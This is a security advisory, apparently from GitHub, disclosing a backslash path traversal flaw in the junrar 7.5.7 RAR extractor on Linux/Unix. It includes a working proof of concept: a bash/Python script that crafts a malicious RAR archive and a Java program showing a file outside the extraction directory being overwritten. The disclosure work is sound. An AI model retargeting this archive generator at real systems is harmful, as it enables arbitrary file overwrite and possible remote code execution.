+ "details": "### Summary\n\nA backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).\n\n### Details\n\nThe `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory:\n\n```java\nFile f = new File(destination, name);\nString dirCanonPath = f.getCanonicalPath();\nif (!dirCanonPath.startsWith(destination.getCanonicalPath())) {\n throw new IllegalStateException(\"Rar contains file with invalid path: '\" + dirCanonPath + \"'\");\n}\n```\n\nOn Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\\..\\tmp\\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes.\n\nHowever, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator:\n\n```java\nfinal String[] dirs = name.split(\"\\\\\\\\\");\n// dirs = [\"..\", \"..\", \"tmp\", \"evil.txt\"]\n// ...\npath = path + File.separator + dirs[i]; // File.separator is \"/\" on Linux\n```\n\nThis converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory.\n\nOn Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal.\n\n**Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`.\n\n### PoC (Files Below)\n\n**Prerequisites:** Linux/Unix system with Java 17+ and Maven installed.\n\n1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\\..\\tmp\\existing-file`), and creates `/tmp/existing-file` with the content \"Existing File\" to simulate a pre-existing file.\n2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q`\n3. Observe the output shows `/tmp/existing-file` was overwritten from \"Existing File\" to \"Overwritten\", confirming the file outside the extraction directory was written with attacker-controlled content.\n\nThe PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives.\n\n### Impact\n\nAny application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.\n\nThis affects all Linux/Unix deployments. Windows is not affected.\n\n## POC Files\n\n**poc_setup.sh**\n```\n#!/bin/bash\n# Setup script for junrar backslash path traversal PoC\n# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor\n# Package: com.github.junrar:junrar 7.5.7 (Java)\n\nset -e\n\n# Use the directory where this script lives as the working directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\ncd \"$SCRIPT_DIR\"\n\necho \"=== Setting up junrar backslash path traversal PoC ===\"\necho \"Working directory: $SCRIPT_DIR\"\n\n# Clean up artifacts from previous runs\nrm -f malicious.rar\nrm -rf target extraction-output\n\n# Verify Java and Maven are available\njava -version 2>&1 | head -1 || { echo \"ERROR: Java not found\"; exit 1; }\nmvn -version 2>&1 | head -1 || { echo \"ERROR: Maven not found\"; exit 1; }\n\n# Create Maven project\ncat > pom.xml << 'POMEOF'\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n <modelVersion>4.0.0</modelVersion>\n <groupId>com.test</groupId>\n <artifactId>junrar-poc</artifactId>\n <version>1.0</version>\n <packaging>jar</packaging>\n <properties>\n <maven.compiler.source>17</maven.compiler.source>\n <maven.compiler.target>17</maven.compiler.target>\n <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n </properties>\n <dependencies>\n <dependency>\n <groupId>com.github.junrar</groupId>\n <artifactId>junrar</artifactId>\n <version>7.5.7</version>\n </dependency>\n </dependencies>\n</project>\nPOMEOF\n\n# Install dependencies\necho \"Installing junrar 7.5.7...\"\nmvn dependency:resolve -q\n\n# Copy and compile PoC\nmkdir -p src/main/java/com/test\ncp poc.java src/main/java/com/test/BackslashTraversalPoC.java\necho \"Compiling PoC...\"\nmvn compile -q\n\n# Verify junrar version\necho \"Installed: junrar 7.5.7\"\n\n# Create the malicious RAR3 archive:\n# Entry 1: file with name \"..\\..\\tmp\\existing-file\" containing \"Overwritten\"\n#\n# On Linux, createFile() validates the path using getCanonicalPath().startsWith().\n# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT\n# resolve the \"..\" components, so the check passes. makeFile() then splits on\n# backslashes and joins with File.separator (/), converting the literal backslashes\n# into real directory traversal: ../../tmp/existing-file\npython3 << 'PYEOF'\nimport struct, zlib\n\nRAR3_MAGIC = b'Rar!\\x1a\\x07\\x00'\nRAR_BLOCK_MAIN = 0x73\nRAR_BLOCK_FILE = 0x74\nRAR_BLOCK_ENDARC = 0x7b\nRAR_LONG_BLOCK = 0x8000\nRAR_OS_UNIX = 3\nRAR_M0 = 0x30 # Store (no compression)\nS_IFREG = 0o100000\n\ndef crc16(data):\n return zlib.crc32(data) & 0xFFFF\n\ndef main_header():\n # Standard RAR3 main archive header (non-encrypted)\n # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)\n # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)\n extra = struct.pack('<HI', 0, 0) # HighPosAv=0, PosAv=0\n header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra\n return struct.pack('<H', crc16(header_data)) + header_data\n\ndef file_block(filename, file_data):\n fname = filename.encode('utf-8')\n data = file_data.encode('utf-8')\n mode = S_IFREG | 0o644\n # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,\n # then falls through to a switch on UNP_VER. Using 0 avoids matching any\n # decompression case (15/20/26/29/36), so only unstoreFile() runs.\n file_hdr = struct.pack('<LLBLLBBHL',\n len(data), len(data), RAR_OS_UNIX,\n zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,\n 0, RAR_M0, len(fname), mode)\n header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,\n 7 + len(file_hdr) + len(fname)) + file_hdr + fname\n return struct.pack('<H', crc16(header_body)) + header_body + data\n\ndef endarc():\n # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4\n header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7)\n crc = crc16(header_data)\n return struct.pack('<H', crc) + header_data\n\narchive = bytearray()\narchive += RAR3_MAGIC\narchive += main_header()\n# Backslash-separated path: on Linux, createFile() sees literal backslashes,\n# but makeFile() splits on them and joins with /\narchive += file_block('..\\\\..\\\\tmp\\\\existing-file', 'Overwritten\\n')\narchive += endarc()\n\nwith open('malicious.rar', 'wb') as f:\n f.write(archive)\nPYEOF\necho \"Created malicious.rar\"\n\n# Create the target file so it can be validated before running the payload\nprintf \"Existing File\\n\" > /tmp/existing-file\n\necho \"\"\necho \"=== Setup complete ===\"\necho \"Validate: cat /tmp/existing-file (should show 'Existing File')\"\necho \"Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q\"\n```\n\n**poc.java**\n```\npackage com.test;\n\nimport com.github.junrar.Junrar;\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\n/**\n * PoC: Backslash path traversal bypass in junrar 7.5.7\n *\n * A RAR archive containing an entry with backslash-separated \"..\" components\n * bypasses the createFile() canonical path validation on Linux and writes\n * files outside the extraction directory via makeFile()'s path reconstruction.\n */\npublic class BackslashTraversalPoC {\n\n static final String TARGET = \"/tmp/existing-file\";\n static final String ARCHIVE = \"malicious.rar\";\n\n public static void main(String[] args) throws Exception {\n File archive = new File(ARCHIVE);\n if (!archive.exists()) {\n archive = new File(new File(System.getProperty(\"user.dir\")).getParent(), ARCHIVE);\n }\n\n // Step 1: Verify the pre-existing file (created by poc_setup.sh)\n File target = new File(TARGET);\n if (!target.exists()) {\n System.out.println(\"ERROR: \" + TARGET + \" not found. Run poc_setup.sh first.\");\n System.exit(1);\n }\n\n System.out.println(\"Before extraction:\");\n System.out.println(\" \" + TARGET + \" => \" + Files.readString(Path.of(TARGET)).trim());\n System.out.println();\n\n // Step 2: Extract the malicious archive\n Path extractDir = Files.createTempDirectory(\"junrar-poc-\");\n System.out.println(\"Extracting \" + archive.getAbsolutePath() + \" into \" + extractDir + \" ...\");\n try {\n Junrar.extract(archive, extractDir.toFile());\n } catch (Exception e) {\n System.out.println(\"Extraction error (may be expected): \" + e.getMessage());\n }\n System.out.println();\n\n // Step 3: Show the result\n System.out.println(\"After extraction:\");\n String content = Files.readString(Path.of(TARGET)).trim();\n System.out.println(\" \" + TARGET + \" => \" + content);\n System.out.println();\n\n if (content.equals(\"Overwritten\")) {\n System.out.println(\"VULNERABLE: junrar 7.5.7 backslash traversal overwrote \" + TARGET);\n } else {\n System.out.println(\"NOT VULNERABLE: file contents unchanged\");\n }\n }\n}\n```",
0 commit comments